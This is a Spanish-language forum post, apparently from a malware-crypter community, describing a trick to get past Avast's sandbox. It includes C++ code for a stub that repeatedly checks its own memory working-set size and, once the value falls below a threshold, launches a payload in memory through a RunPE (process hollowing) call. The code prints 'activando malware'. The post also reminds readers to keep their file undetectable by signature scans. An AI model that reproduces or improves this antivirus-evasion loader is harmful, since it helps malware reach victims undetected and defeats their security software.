vi que es una forma de poder saltar el sandbox, el trunco es muy sencillo consiste en escaner el proceso actual de nuestro stub o archivo que ejecutar el runpe y comprobar que no ese dentro del sandbox y como sabemos eso? bueno teoricamente avast al escanear los archivos en el sanbox reserva memoria dentro del proceso actual lo cual si el proceso de trabajo comunmente pesa 170000 suele llegar hasta los 250000 o 30000 por tanto tan facil hacer una funcion que nos de el tamaño del proceso actual y meterlo en bucle y con un if estar chekeando en este caso si es menor a 1850000, si lo es, ejecuta el runpe sino se matiene a la espera hasta que el sanbox te de luz verde.
Bueno no nada del otro mundo seguro muchos tienes trucos o formas mas finas de saltarse el sandbox pero para los nuevos como yo es facil y entedible, ojo no se olviden que su archivo no debe detectar mediante firmas o sea deber ser indetectable ante un escaneo simple ya que este truco solo sive para el sandbox.
unsigned long obtentenerTamanoProceso(){
PROCESS_MEMORY_COUNTERS pmc;
GetProcessMemoryInfo(GetCurrentProcess(),&pmc,sizeof(pmc));
return pmc.WorkingSetSize;
}
int main()
{
wchar_t szFilePath[256];
GetModuleFileNameW( NULL,LPWSTR(szFilePath), 256);//ruta del archivo actual
string Buffer=ReadFileWs("C:\\bcb6kg.EXE");//archivo a leer
unsigned long var;
while(true){//inicia bucle hata que se desactive el sandbox
if((var=obtentenerTamanoProceso())<=1850000){//obtiene el tamaño del proceso actual y comprueba que sea menor a 1850000
cout<<"activando malware "<<var<<endl;
callRunPE(&Buffer[0],szFilePath);//ejecutando en memoria
break;
}
else{//todavia esta dentro del sandbox y no puede ejecutar el runpe
cout<<"Esta dentro del sandbox "<<var<<endl;
}
Sleep(1000);//el sleep es para no saturar el sistema
}
cin.get();
return 0;
}
Saludos...